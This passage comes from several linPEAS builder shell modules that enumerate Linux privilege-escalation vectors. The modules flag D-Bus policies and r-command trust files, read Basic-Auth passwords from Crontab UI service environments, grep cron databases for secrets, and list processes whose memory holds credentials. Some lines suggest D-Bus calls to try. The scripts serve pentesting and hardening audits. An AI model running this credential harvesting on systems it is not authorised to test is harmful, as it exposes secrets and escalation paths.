$dangerous_service${NC})" dangerous=1 fi done # If service is dangerous, provide exploitation hints if [ "$dangerous" -eq 1 ]; then echo " └─(${RED}Potential privilege escalation vector${NC})" echo " └─ Try: busctl call $dbusservice / [Interface] [Method] [Arguments]" echo " └─ Or: dbus-send --session --dest=$dbusservice / [Interface] [Method] [Arguments]" fi } # Function to analyze policy file analyze_policy_file() { file="$1" weak_policies=0 # Check file permissions if ! [ "$IAMROOT" ] && [ -w "$file" ]; then echo " └─(${RED}Writable policy file${NC})" weak_policies=$((weak_policies + 1)) fi # Check general policy genpol=$(grep "" "$file" 2>/dev/null) if [ -n "$genpol" ]; then echo " └─(${RED}Weak general policy found${NC})" echo " └─ $genpol" | sed 's/^/ /' weak_policies=$((weak_policies + 1)) fi # Check user policies userpol=$(grep "/dev/null | grep -v "root") if [ -n "$userpol" ]; then echo " └─(${RED}Weak user policy found${NC})" echo " └─ $userpol" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" weak_policies=$((weak_policies + 1)) fi # Check group policies grppol=$(grep "/dev/null | grep -v "root") if [ -n "$grppol" ]; then echo " └─(${RED}Weak group policy found${NC})" echo " └─ $grppol" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g" weak_policies=$((weak_policies + 1)) fi # Check for allow rules in default context allow_rules=$(grep -A 5 "context=\"default\"" "$file" 2>/dev/null | grep "allow") if [ -n "$allow_rules" ]; then echo " └─(${RED}Allow rules in default context${NC})" echo " └─ $allow_rules" | sed 's/^/ /' weak_policies=$((weak_policies + 1)) fi # Check for specific dangerous policy patterns - using space-separated string instead of array dangerous_patterns="allow_any allow_all allow_root allow_user allow_group allow_anonymous allow_any_user allow_any_group allow_any_uid allow_any_gid allow_any_pid allow_any_connection allow_any_method allow_any_property allow_any_signal allow_any_interface allow_any_path allow_any_destination allow_any_sender allow_any_receiver" for pattern in $dangerous_patterns; do if grep -qi "$pattern" "$file" 2>/dev/null; then echo " └─(${RED}Dangerous policy pattern found: $pattern${NC})" weak_policies=$((weak_policies + 1)) fi done return $weak_policies } # Analyze D-Bus Service Objects dbuslist=$(busctl list 2>/dev/null) if [ -n "$dbuslist" ]; then echo "$dbuslist" | while read -r dbus_service; do # Print service name with highlighting echo "$dbus_service" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," # Analyze service if it's not in the known list if ! echo "$dbus_service" | grep -qE "$dbuslistG"; then dbussrvc_object=$(echo "$dbus_service" | cut -d " " -f1) analyze_service_object "$dbussrvc_object" fi done else echo_not_found "busctl" fi # Analyze D-Bus Configuration Files if [ "$PSTORAGE_DBUS" ]; then echo "" print_2title "D-Bus Configuration Files" "T1559.001" echo "$PSTORAGE_DBUS" | while read -r dir; do for dbus_file in "$dir"/*; do if [ -f "$dbus_file" ]; then echo "Analyzing $dbus_file:" if analyze_policy_file "$dbus_file"; then echo " └─(${RED}Multiple weak policies found${NC})" fi fi done done fi # Check for D-Bus session bus if command -v dbus-send >/dev/null 2>&1; then echo "" print_3title "D-Bus Session Bus Analysis" "T1559.001" if dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames 2>/dev/null | grep -q "Error"; then echo "(${RED}No access to session bus${NC})" else echo "(${GREEN}Access to session bus available${NC})" # List available services on session bus session_services=$(dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames 2>/dev/null | grep "string" | sed 's/^/ /') echo "$session_services" # Check for known dangerous session services - using space-separated string instead of array dangerous_session_services="org.gnome.SettingsDaemon org.gnome.Shell org.gnome.SessionManager org.gnome.DisplayManager org.gnome.ScreenSaver org.freedesktop.Notifications org.freedesktop.ScreenSaver org.freedesktop.PowerManagement org.freedesktop.UPower org.freedesktop.NetworkManager org.freedesktop.Avahi org.freedesktop.UDisks2 org.freedesktop.ModemManager1 org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.systemd1 org.freedesktop.Accounts org.freedesktop.login1" for dangerous_service in $dangerous_session_services; do if echo "$session_services" | grep -qi "$dangerous_service"; then echo " └─(${RED}Known dangerous session service: $dangerous_service${NC})" echo " └─ Try: dbus-send --session --dest=$dangerous_service / [Interface] [Method] [Arguments]" fi done fi fi fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/15_Rcommands_trust.sh ================================================ # Title: Processes & Cron & Services & Timers - Legacy r-commands and host-based trust # ID: PR_Rcommands_trust # Author: HT Bot # Last Update: 27-08-2025 # Description: Detect legacy r-services (rsh/rlogin/rexec) exposure and dangerous host-based trust (.rhosts/hosts.equiv), # which can allow passwordless root via hostname/DNS manipulation. # License: GNU GPL # Version: 1.0 # Mitre: T1021.004 # Functions Used: print_2title, print_3title, echo_not_found # Global Variables: # Initial Functions: # Generated Global Variables: $rfile, $perms, $owner, $g, $o, $any_rhosts, $shown, $f, $p # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Legacy r-commands (rsh/rlogin/rexec) and host-based trust" "T1021.004" echo "" print_3title "Listening r-services (TCP 512-514)" "T1021.004" if command -v ss >/dev/null 2>&1; then ss -ltnp 2>/dev/null | awk '$1 ~ /^LISTEN$/ && $4 ~ /:(512|513|514)$/ {print}' || echo_not_found "ss" elif command -v netstat >/dev/null 2>&1; then netstat -ltnp 2>/dev/null | awk '$6 ~ /LISTEN/ && $4 ~ /:(512|513|514)$/ {print}' || echo_not_found "netstat" else echo_not_found "ss|netstat" fi echo "" print_3title "systemd units exposing r-services" "T1021.004" if command -v systemctl >/dev/null 2>&1; then systemctl list-unit-files 2>/dev/null | grep -E '^(rlogin|rsh|rexec)\.(socket|service)\b' || echo_not_found "rlogin|rsh|rexec units" systemctl list-sockets 2>/dev/null | grep -E '\b(rlogin|rsh|rexec)\.socket\b' || true else echo_not_found "systemctl" fi echo "" print_3title "inetd/xinetd configuration for r-services" "T1021.004" if [ -f /etc/inetd.conf ]; then grep -vE '^\s*#|^\s*$' /etc/inetd.conf 2>/dev/null | grep -Ei '\b(shell|login|exec|rsh|rlogin|rexec)\b' 2>/dev/null || echo " No r-services found in /etc/inetd.conf" else echo_not_found "/etc/inetd.conf" fi if [ -d /etc/xinetd.d ]; then # Print enabled r-services in xinetd for f in /etc/xinetd.d/*; do [ -f "$f" ] || continue if grep -qiE '\b(service|disable)\b' "$f" 2>/dev/null; then if grep -qiE 'service\s+(rsh|rlogin|rexec|shell|login|exec)\b' "$f" 2>/dev/null; then # Only warn if not disabled if ! grep -qiE '^\s*disable\s*=\s*yes\b' "$f" 2>/dev/null; then echo " $(basename "$f") may enable r-services:"; grep -iE '^(\s*service|\s*disable)' "$f" 2>/dev/null | sed 's/^/ /' fi fi fi done else echo_not_found "/etc/xinetd.d" fi echo "" print_3title "Installed r-service server packages" "T1021.004" if command -v dpkg >/dev/null 2>&1; then dpkg -l 2>/dev/null | grep -E '\b(rsh-server|rsh-redone-server|krb5-rsh-server|inetutils-inetd|openbsd-inetd|xinetd|netkit-rsh)\b' || echo " No related packages found via dpkg" elif command -v rpm >/dev/null 2>&1; then rpm -qa 2>/dev/null | grep -Ei '\b(rsh|rlogin|rexec|xinetd)\b' || echo " No related packages found via rpm" else echo_not_found "dpkg|rpm" fi echo "" print_3title "/etc/hosts.equiv and /etc/shosts.equiv" "T1021.004" for f in /etc/hosts.equiv /etc/shosts.equiv; do if [ -f "$f" ]; then perms=$(stat -c %a "$f" 2>/dev/null) owner=$(stat -c %U "$f" 2>/dev/null) echo " $f (perm $perms, owner $owner)" # Print non-comment lines awk 'NF && $0 !~ /^\s*#/ {print " " $0}' "$f" 2>/dev/null if grep -qEv '^\s*#|^\s*$' "$f" 2>/dev/null; then if grep -qE '(^|\s)\+' "$f" 2>/dev/null; then echo " [!] Wildcard '+' trust found" fi fi fi done echo "" print_3title "Per-user .rhosts files" "T1021.004" any_rhosts=false for rfile in /root/.rhosts /home/*/.rhosts; do if [ -f "$rfile" ]; then any_rhosts=true perms=$(stat -c %a "$rfile" 2>/dev/null) owner=$(stat -c %U "$rfile" 2>/dev/null) echo " $rfile (perm $perms, owner $owner)" awk 'NF && $0 !~ /^\s*#/ {print " " $0}' "$rfile" 2>/dev/null # Warn on insecure perms (group/other write) g=$(printf "%s" "$perms" | cut -c2) o=$(printf "%s" "$perms" | cut -c3) if [ "${g:-0}" -ge 2 ] || [ "${o:-0}" -ge 2 ]; then echo " [!] Insecure permissions (group/other write)" fi fi done if ! $any_rhosts; then echo_not_found ".rhosts"; fi echo "" print_3title "PAM rhosts authentication" "T1021.004" shown=false for p in /etc/pam.d/rlogin /etc/pam.d/rsh; do if [ -f "$p" ]; then shown=true echo " $p:" (grep -nEi 'pam_rhosts|pam_rhosts_auth' "$p" 2>/dev/null || echo " no pam_rhosts* lines") | sed 's/^/ /' fi done if ! $shown; then echo_not_found "/etc/pam.d/rlogin|rsh"; fi echo "" print_3title "SSH HostbasedAuthentication" "T1021.004" if [ -f /etc/ssh/sshd_config ]; then if grep -qiE '^[^#]*HostbasedAuthentication\s+yes' /etc/ssh/sshd_config 2>/dev/null; then echo " HostbasedAuthentication yes (check /etc/shosts.equiv or ~/.shosts)" else echo " HostbasedAuthentication no or not set" fi else echo_not_found "/etc/ssh/sshd_config" fi echo "" print_3title "Potential DNS control indicators (local)" "T1021.004" (ps -eo comm,args 2>/dev/null | grep -Ei '(^|/)(pdns|pdns_server|pdns_recursor|powerdns-admin)( |$)' | grep -Ev 'grep|bash' || echo " Not detected") echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_Crontab_UI_misconfig.sh ================================================ # Title: Processes & Cron & Services & Timers - Crontab UI (root) Misconfiguration # ID: PR_Crontab_UI_misconfig # Author: HT Bot # Last Update: 2025-09-13 # Description: Detect Crontab UI service and risky configurations that can lead to privesc: # - Root-run Crontab UI exposed on localhost # - Basic-Auth credentials in systemd Environment= (BASIC_AUTH_USER/PWD) # - Cron DB path (CRON_DB_PATH) and weak permissions / embedded secrets in jobs # License: GNU GPL # Version: 1.0 # Mitre: T1053.003 # Functions Used: print_2title, print_info, print_list, echo_not_found # Global Variables: $SEARCH_IN_FOLDER, $SED_RED, $SED_RED_YELLOW, $NC # Initial Functions: # Generated Global Variables: $svc, $state, $user, $envvals, $port, $dbpath, $dbfile, $candidates, $procs, $perms, $basic_user, $basic_pwd, $uprint, $pprint, $dir, $found # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Crontab UI (root) misconfiguration checks" "T1053.003" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs" # Collect candidate services referencing crontab-ui candidates="" if command -v systemctl >/dev/null 2>&1; then candidates=$(systemctl list-units --type=service --all 2>/dev/null | awk '{print $1}' | grep -Ei '^crontab-ui\.service$' 2>/dev/null) fi # Fallback: grep service files for ExecStart containing crontab-ui if [ -z "$candidates" ]; then for dir in /etc/systemd/system /lib/systemd/system; do [ -d "$dir" ] || continue found=$(grep -RIl "^Exec(Start|StartPre|StartPost)=.*crontab-ui" "$dir" 2>/dev/null | xargs -r -I{} basename {} 2>/dev/null) if [ -n "$found" ]; then candidates=$(printf "%s\n%s" "$candidates" "$found" | sort -u) fi done fi # Also flag if the binary exists or a process seems to be running if command -v crontab-ui >/dev/null 2>&1; then print_list "crontab-ui binary found at: $(command -v crontab-ui)"$NC else echo_not_found "crontab-ui" fi procs=$(ps aux 2>/dev/null | grep -E "(crontab-ui|node .*crontab-ui)" | grep -v grep) if [ -n "$procs" ]; then print_list "Processes matching crontab-ui? ..................... "$NC printf "%s\n" "$procs" echo "" fi # If no candidates detected, exit quietly if [ "$candidates" ]; then # Iterate candidates and extract interesting data printf "%s\n" "$candidates" | while read -r svc; do [ -n "$svc" ] || continue # Ensure suffix .service if missing case "$svc" in *.service) : ;; *) svc="$svc.service" ;; esac state="" user="" if command -v systemctl >/dev/null 2>&1; then state=$(systemctl is-active "$svc" 2>/dev/null) user=$(systemctl show "$svc" -p User 2>/dev/null | cut -d= -f2) fi [ -z "$state" ] && state="unknown" [ -z "$user" ] && user="unknown" echo "Service: $svc (state: $state, User: $user)" | sed -${E} "s,root,${SED_RED},g" # Read Environment from systemd (works even if file unreadable in many setups) envvals=$(systemctl show "$svc" -p Environment 2>/dev/null | cut -d= -f2-) if [ -n "$envvals" ]; then basic_user=$(printf "%s\n" "$envvals" | tr ' ' '\n' | grep -E '^BASIC_AUTH_USER=' | head -n1 | cut -d= -f2-) basic_pwd=$(printf "%s\n" "$envvals" | tr ' ' '\n' | grep -E '^BASIC_AUTH_PWD=' | head -n1 | cut -d= -f2-) dbpath=$(printf "%s\n" "$envvals" | tr ' ' '\n' | grep -E '^CRON_DB_PATH=' | head -n1 | cut -d= -f2-) port=$(printf "%s\n" "$envvals" | tr ' ' '\n' | grep -E '^PORT=' | head -n1 | cut -d= -f2-) if [ -n "$basic_user" ] || [ -n "$basic_pwd" ]; then uprint="$basic_user" pprint="$basic_pwd" [ -n "$basic_pwd" ] && pprint="$basic_pwd" echo " └─ Basic-Auth credentials in Environment: user='${uprint}' pwd='${pprint}'" | sed -${E} "s,pwd='[^']*',${SED_RED_YELLOW},g" fi if [ -n "$dbpath" ]; then echo " └─ CRON_DB_PATH: $dbpath" fi # Check listener bound to localhost [ -z "$port" ] && port=8000 if command -v ss >/dev/null 2>&1; then if ss -ltn 2>/dev/null | grep -qE "127\.0\.0\.1:${port}[[:space:]]"; then echo " └─ Listener detected on 127.0.0.1:${port} (likely Crontab UI)." fi else if netstat -tnl 2>/dev/null | grep -qE "127\.0\.0\.1:${port}[[:space:]]"; then echo " └─ Listener detected on 127.0.0.1:${port} (likely Crontab UI)." fi fi # If we know DB path, try to read crontab.db for obvious secrets and check perms if [ -n "$dbpath" ] && [ -d "$dbpath" ] && [ -r "$dbpath" ]; then dbfile="$dbpath/crontab.db" if [ -f "$dbfile" ]; then perms=$(ls -ld "$dbpath" 2>/dev/null | awk '{print $1, $3, $4}') echo " └─ DB dir perms: $perms" if [ -w "$dbpath" ] || [ -w "$dbfile" ]; then echo " └─ Writable by current user -> potential job injection!" | sed -${E} "s,.*,${SED_RED},g" fi echo " └─ Inspecting $dbfile for embedded secrets in commands (zip -P / --password / pass/token/secret)..." grep -E "-P[[:space:]]+\S+|--password[[:space:]]+\S+|[Pp]ass(word)?|[Tt]oken|[Ss]ecret" "$dbfile" 2>/dev/null | head -n 20 | sed -${E} "s,(${SED_RED_YELLOW}),\1,g" fi fi fi echo "" done fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/17_Deleted_open_files.sh ================================================ # Title: Processes & Cron & Services & Timers - Deleted open files # ID: PR_Deleted_open_files # Author: Carlos Polop # Last Update: 2025-01-07 # Description: Identify deleted files still held open by running processes # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: print_2title, print_info # Global Variables: $DEBUG, $EXTRA_CHECKS, $E, $SED_RED # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$(command -v lsof 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then print_2title "Deleted files still open" "T1083" print_info "Open deleted files can hide tools and still consume disk space" lsof +L1 2>/dev/null | sed -${E} "s,\\(deleted\\),${SED_RED},g" echo "" elif [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then print_2title "Deleted files still open" "T1083" print_info "lsof not found, scanning /proc for deleted file descriptors" ls -l /proc/[0-9]*/fd 2>/dev/null | grep "(deleted)" | sed -${E} "s,\\(deleted\\),${SED_RED},g" | head -n 200 echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh ================================================ # Title: Processes & Cron & Services & Timers - List processes # ID: PR_List_processes # Author: Carlos Polop # Last Update: 2024-03-19 # Description: List running processes and check for unusual configurations # License: GNU GPL # Version: 1.4 # Mitre: T1057 # Functions Used: print_2title, print_info, print_ps # Global Variables: $capsB, $knw_usrs, $nosh_usrs, $NOUSEPS, $processesB, $processesDump, $processesVB, $rootcommon, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders # Initial Functions: # Generated Global Variables: $pslist, $cpid, $caphex, $psline, $pid, $selinux_ctx, $current_env_vars, $env_findings, $apparmor_profile, $mount, $mount_findings, $fd_findings, $proc_cmd, $proc_user, $mount_point, $current_mounts, $fd_target, $var, $findings, $sec_findings, $proc_env_vars, $fd_count, $proc_mounts, $$escaped_var # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Running processes (cleaned)" "T1057" if [ "$NOUSEPS" ]; then printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC fi print_info "Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes" if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users" fi # Get current process environment variables if [ -r "/proc/self/environ" ]; then current_env_vars=$(cat /proc/self/environ 2>/dev/null | tr '\0' '\n' | sort) else current_env_vars=$(env 2>/dev/null | sort) fi # Get current process mounts if [ -r "/proc/self/mountinfo" ]; then current_mounts=$(cat /proc/self/mountinfo 2>/dev/null | sort) else current_mounts=$(mount 2>/dev/null | sort) fi # Function to check for unusual environment variables check_env_vars() { local pid="$1" local proc_user="$2" local proc_cmd="$3" local findings="" # Skip if we can't read the environment [ ! -r "/proc/$pid/environ" ] && return # Get process environment variables proc_env_vars=$(cat "/proc/$pid/environ" 2>/dev/null | tr '\0' '\n' | sort) [ -z "$proc_env_vars" ] && return # Find environment variables that the target process has but we don't if [ -n "$current_env_vars" ]; then echo "$proc_env_vars" | while read -r var; do if [ -n "$var" ]; then # Escape special regex characters in var escaped_var=$(echo "$var" | sed 's/[][^$.*+?(){}|]/\\&/g') if ! echo "$current_env_vars" | grep -q "^$escaped_var$"; then if [ -z "$findings" ]; then findings="Has additional environment variables:" fi findings="$findings\n └─ $var" fi fi done else # If we can't get current env vars, just show all process env vars findings="Has environment variables:" echo "$proc_env_vars" | while read -r var; do if [ -n "$var" ]; then findings="$findings\n └─ $var" fi done fi # Return findings if any if [ -n "$findings" ]; then echo "$findings" fi } # Function to check for unusual security contexts check_security_context() { local pid="$1" local proc_user="$2" local proc_cmd="$3" local findings="" # Check SELinux context if [ -r "/proc/$pid/attr/current" ]; then selinux_ctx=$(cat "/proc/$pid/attr/current" 2>/dev/null) if [ -n "$selinux_ctx" ] && [ "$selinux_ctx" != "unconfined" ]; then findings="SELinux context: $selinux_ctx" fi fi # Check AppArmor profile if [ -r "/proc/$pid/attr/apparmor/current" ]; then apparmor_profile=$(cat "/proc/$pid/attr/apparmor/current" 2>/dev/null) if [ -n "$apparmor_profile" ] && [ "$apparmor_profile" != "unconfined" ]; then if [ -n "$findings" ]; then findings="$findings\n └─ AppArmor profile: $apparmor_profile" else findings="AppArmor profile: $apparmor_profile" fi fi fi # Return findings if any if [ -n "$findings" ]; then echo "$findings" fi } # Function to check for unusual mount namespaces check_mount_namespace() { local pid="$1" local proc_user="$2" local proc_cmd="$3" local findings="" # Skip if we can't read the mountinfo [ ! -r "/proc/$pid/mountinfo" ] && return # Get process mounts proc_mounts=$(cat "/proc/$pid/mountinfo" 2>/dev/null | sort) [ -z "$proc_mounts" ] && return # Find mounts that the target process has but we don't if [ -n "$current_mounts" ]; then echo "$proc_mounts" | while read -r mount; do if [ -n "$mount" ] && ! echo "$current_mounts" | grep -q "^$mount$"; then mount_point=$(echo "$mount" | sed "s,.* - \(.*\),\1,") if [ -z "$findings" ]; then findings="Has additional mounts:" fi findings="$findings\n └─ $mount_point" fi done else # If we can't get current mounts, just show all process mounts findings="Has mounts:" echo "$proc_mounts" | while read -r mount; do if [ -n "$mount" ]; then mount_point=$(echo "$mount" | sed "s,.* - \(.*\),\1,") findings="$findings\n └─ $mount_point" fi done fi # Return findings if any if [ -n "$findings" ]; then echo "$findings" fi } # Function to check for unusual file descriptors check_file_descriptors() { local pid="$1" local proc_user="$2" local proc_cmd="$3" local findings="" # Skip if we can't read the file descriptors [ ! -r "/proc/$pid/fd" ] && return # Check for interesting file descriptors for fd in /proc/$pid/fd/*; do # Skip if fd doesn't exist or we can't access it [ ! -e "$fd" ] && continue # Get fd target fd_target=$(readlink "$fd" 2>/dev/null) [ -z "$fd_target" ] && continue # Skip if target doesn't exist [ ! -e "$fd_target" ] && continue # Check if we can access the FD but not the target file if [ -r "$fd" ] && [ ! -r "$fd_target" ]; then if [ -z "$findings" ]; then findings="Readable FD to unreadable file: $fd -> $fd_target" else findings="$findings\n └─ Readable FD to unreadable file: $fd -> $fd_target" fi fi if [ -w "$fd" ] && [ ! -w "$fd_target" ]; then if [ -z "$findings" ]; then findings="Writable FD to unwritable file: $fd -> $fd_target" else findings="$findings\n └─ Writable FD to unwritable file: $fd -> $fd_target" fi fi done # Check for unusual number of file descriptors fd_count=$(ls -1 "/proc/$pid/fd" 2>/dev/null | wc -l) [ -z "$fd_count" ] && return # If process has more than 100 file descriptors, it might be interesting if [ "$fd_count" -gt 100 ]; then if [ -z "$findings" ]; then findings="Unusual number of FDs: $fd_count" else findings="$findings\n └─ Unusual number of FDs: $fd_count" fi fi # Return findings if any if [ -n "$findings" ]; then echo "$findings" fi } if [ "$NOUSEPS" ]; then print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," pslist=$(print_ps) else (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," if [ "$(command -v capsh || echo -n '')" ] && ! echo "$psline" | grep -q "root"; then cpid=$(echo "$psline" | awk '{print $2}') caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')" if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g" fi fi done pslist=$(ps auxwww) echo "" fi # Additional checks for each process print_2title "Processes with unusual configurations" "T1057" for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf "%f\n" 2>/dev/null); do # Skip if process doesn't exist or we can't access it [ ! -d "/proc/$pid" ] && continue # Get process user and command proc_user=$(stat -c '%U' "/proc/$pid" 2>/dev/null) proc_cmd=$(cat "/proc/$pid/cmdline" 2>/dev/null | tr '\0' ' ' | head -c 100) [ -z "$proc_user" ] || [ -z "$proc_cmd" ] && continue # Run all checks and collect findings sec_findings=$(check_security_context "$pid" "$proc_user" "$proc_cmd") mount_findings=$(check_mount_namespace "$pid" "$proc_user" "$proc_cmd") fd_findings=$(check_file_descriptors "$pid" "$proc_user" "$proc_cmd") env_findings=$(check_env_vars "$pid" "$proc_user" "$proc_cmd") # If any findings exist, print process info and findings if [ -n "$env_findings" ] || [ -n "$sec_findings" ] || [ -n "$mount_findings" ] || [ -n "$fd_findings" ]; then echo "Process $pid ($proc_user) - $proc_cmd" [ -n "$env_findings" ] && echo "$env_findings" [ -n "$sec_findings" ] && echo "$sec_findings" [ -n "$mount_findings" ] && echo "$mount_findings" [ -n "$fd_findings" ] && echo "$fd_findings" echo "" fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh ================================================ # Title: Processes & Cron & Services & Timers - Processes with credentials inside memory # ID: PR_Process_cred_in_memory # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Processes with credentials inside memory and memory-mapped files # License: GNU GPL # Version: 1.2 # Mitre: T1003.007 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $pslist, $SEARCH_IN_FOLDER, $processesDump, $nosh_usrs, $processesB, $knw_usrs, $rootcommon, $sh_usrs, $processesVB # Initial Functions: # Generated Global Variables: $line, $cred_files, $filename, $fd_target, $found_cred_files, $proc, $proc_cmd, $pid, $proc_user, $cred_processes, $seen_files # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Processes with credentials in memory (root req)" "T1003.007" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#credentials-from-process-memory" # Common credential-storing processes cred_processes="gdm-password gnome-keyring-daemon lightdm vsftpd apache2 sshd: mysql postgres redis-server mongod memcached elasticsearch jenkins tomcat nginx php-fpm supervisord vncserver xrdp teamviewer" # Check for credential-storing processes for proc in $cred_processes; do if echo "$pslist" | grep -q "$proc"; then echo "$proc process found (dump creds from memory as root)" | sed "s,$proc,${SED_RED}," else echo_not_found "$proc" fi done # Check for processes with open handles to credential files echo "" print_2title "Opened Files by processes" "T1003.007" for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf "%f\n" 2>/dev/null); do # Skip if process doesn't exist or we can't access it [ ! -d "/proc/$pid" ] && continue [ ! -r "/proc/$pid/fd" ] && continue # Get process user and command proc_user=$(stat -c '%U' "/proc/$pid" 2>/dev/null) proc_cmd=$(cat "/proc/$pid/cmdline" 2>/dev/null | tr '\0' ' ' | head -c 100) [ -z "$proc_user" ] || [ -z "$proc_cmd" ] && continue # Skip processes that start with "sed " or contain "linpeas.sh" echo "$proc_cmd" | grep -q "^sed " && continue echo "$proc_cmd" | grep -q "linpeas.sh" && continue # Variable to store unique files for this process seen_files="" found_cred_files="" # Check for open credential files for fd in /proc/$pid/fd/*; do [ ! -e "$fd" ] && continue fd_target=$(readlink "$fd" 2>/dev/null) [ -z "$fd_target" ] && continue [ "$fd_target" = "/dev/null" ] && continue echo "$fd_target" | grep -q "^socket:" && continue echo "$fd_target" | grep -q "^anon_inode:" && continue # Only add if not already seen (using case to check) case " $seen_files " in *" $fd_target "*) continue ;; *) seen_files="$seen_files $fd_target" if [ -z "$found_cred_files" ]; then echo "Process $pid ($proc_user) - $proc_cmd" echo " └─ Has open files:" found_cred_files="yes" fi echo " └─ $fd_target" ;; esac done done | sed -${E} "s,\.(pem|key|cred|db|sqlite|conf|cnf|ini|env|secret|token|auth|passwd|shadow)$,\1${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," # Check for processes with memory-mapped files that might contain credentials echo "" print_2title "Processes with memory-mapped credential files" "T1003.007" for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf "%f\n" 2>/dev/null); do # Skip if process doesn't exist or we can't access it [ ! -d "/proc/$pid" ] && continue [ ! -r "/proc/$pid/maps" ] && continue # Get process user and command proc_user=$(stat -c '%U' "/proc/$pid" 2>/dev/null) proc_cmd=$(cat "/proc/$pid/cmdline" 2>/dev/null | tr '\0' ' ' | head -c 100) [ -z "$proc_user" ] || [ -z "$proc_cmd" ] && continue # Check for memory-mapped files that might contain credentials cred_files=$(grep -E '\.(pem|key|cred|db|sqlite|conf|cnf|ini|env|secret|token|auth|passwd|shadow)$' "/proc/$pid/maps" 2>/dev/null) if [ -n "$cred_files" ]; then echo "Process $pid ($proc_user) - $proc_cmd" echo " └─ Has memory-mapped credential files:" echo "$cred_files" | while read -r line; do filename=$(echo "$line" | sed "s,.*/\(.*\),\1,") echo " └─ $filename" done fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh ================================================ # Title: Processes & Cron & Services & Timers - Process binaries permissions # ID: PR_Process_binaries_perms # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Check the permissions of the binaries of the running processes # License: GNU GPL # Version: 1.2 